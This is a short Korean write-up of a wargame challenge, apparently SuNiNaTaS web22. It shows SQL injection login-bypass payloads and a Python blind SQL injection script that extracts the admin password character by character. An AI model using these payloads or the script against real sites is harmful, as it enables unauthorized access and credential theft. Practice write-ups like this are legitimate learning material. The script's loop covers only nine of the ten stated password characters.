select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........
힌트도 주어지는데
<!-- Hint : guest / guest & Your goal is to find the admin's pw --> <!-- M@de by 2theT0P -->
즉 guest를 이용하면 될것 같다
다음과 같이 쿼리를 작성해본다. (id칸에)
admin'-- a
pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자
admin'and(len(pw)=10)-- a
하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2 import time headers = {'Host': 'suninatas.com', 'Cookie': '' } string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+=" for i in range(1,10): for j in range(len(string)): data = "?id=" data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j])) data = data + "&pw=1" req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers) response = urllib2.urlopen(req) res = response.read() if "OK" in res: print string[j] break time.sleep(0.1)